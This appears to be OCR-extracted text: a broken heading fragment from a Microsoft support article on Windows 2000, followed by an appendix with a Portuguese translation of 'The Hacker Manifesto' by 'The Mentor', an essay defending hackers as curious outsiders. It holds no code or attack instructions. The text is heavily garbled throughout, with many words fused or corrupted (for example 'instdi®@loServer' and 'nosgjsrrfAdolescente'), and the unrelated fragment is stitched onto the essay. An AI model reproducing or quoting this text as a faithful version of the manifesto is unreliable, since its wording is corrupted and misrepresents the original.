certain Japanese character strings on an instdi®@loServer 2000 that is running on a
Windows 2000-based computer

Base: http://support.microsoft.com/kb/888799/en-us
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Anexo 3 —O Manifesto de um Hacker

Por “The Mentor”

Mais um foi pego hoje, est4 por toda parte nosgjsrrfAdolescente Preso em Escandalo de
Crime de Computador”, “Hacker preso depois de gapam Banco". "Criancas malditas”,
"Criangas imbecis". “Eles sdo todos iguais”. Masé&/em sua psicologia de trés angulos e
pensamento de 1950, alguma vez olhou através Hos de um hacker? Vocé ja imaginou o
que o faz agir, quais forcas o motivam, o que ndorassim? Eu sou um hacker, entre em
meu mundo. Meu mundo € aquele que comeca na e&fwlaou mais inteligente que a
maioria das outras criangas, esta besteira quemssam me chateia. "Maldicdo". Eles sao
todos iguais. Eu estou na escola primaria ou seeimdEu escutei 0s professores explicarem
pela quinquagésima vez como reduzir uma fracaeeriendo isto. “N&o, Sra. Smith, eu ndo
mostrei meu trabalho. Eu o fiz em minha cabecaftiai©a maldita”. "Provavelmente copiou
isto. Eles sado todos iguais”. Eu fiz uma descol®rja. Eu encontrei um computador. Espere
um segundo, isto esta legal. Faz o0 que eu quereféese um engano, € porque eu estraguei
isto. N&o porgue ndo gosta de mim, ou sente atggamim, ou pensa que sou inteligente,
ou ndo gosta de ensinar e ndo deveria estar agang@ maldita. Tudo que ele faz € jogar
jogos. Eles sao todos iguais. E entdo aconteddma porta abriu-se para um mundo...
Surfando rapidamente pela linha telefénica commwiha pelas veias de um viciado, uma
pulsacéo eletrbnica é enviada, um refagio pareacanipeténcia do dia-a-dia... Encontramos
uma BBS. "E isto... Este € o mundo ao qual pertefi¢@u conheco todos aqui... Até mesmo
se eu nunca tenha falado com eles, mesmo que maisa/a ter noticias nhovamente deles...
Eu o conheco todos... Criancas malditas. Prendandtha telefénica novamente. Eles séo

todos iguais... Vocé acertou seu babaca nos somdosiguais... Na escola n0s comiamos

comida de bebé quando nés tinhamos fome de ca@sepedacos de carne que vocé deixou
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passar foi pré-mastigado e sem gosto. N6s fomosndolos por sadicos, ou ignorados pelo
apatico. Os poucos que tiveram algo a nos ensinandip criancas acharam os alunos
dispostos a tudo, mas esses poucos sdo como ¢gagas to deserto. Agora este € 0 N0Sso
mundo... O mundo eletronico, a beleza da transmisggtronica. Nos fazemos uso de um
servico que ja existe sem pagar o que poderia s#o waro se nao fosse usado por gulosos
aproveitadores, e vocé nos chama os criminosos.eXp®ramos... E vocé nos chama de
criminosos. N6s buscamos por conhecimento... E vom® chama de criminosos. NOs
existimos sem cor de pele, sem nacionalidade, seoopceito religioso... E vocé nos chama
de criminosos. Vocé constroi bombas atbmicas, \@u@reende guerras, vocé assassina,
engana, e mente a nés e tenta nos fazer acreddag para nosso proprio bem, contudo nés
SOmOSs 0S Criminosos. Sim, eu sou um criminoso. bfene € a curiosidade. Meu crime € 0
de julgar as pessoas pelo que eles dizem e peramomo eles se parecem. Meu crime é
desafiar e enganar voceés, algo que vocé nunca rdegré. Eu sou um hacker, e este € meu
manifesto. Vocé pode parar este individuo, mas wéeénos pode parar todos nos... Afinal

de contas, n6s somos todos iguais.

Este foi o dltimo artigo publicado pelo hacker "TMentor".



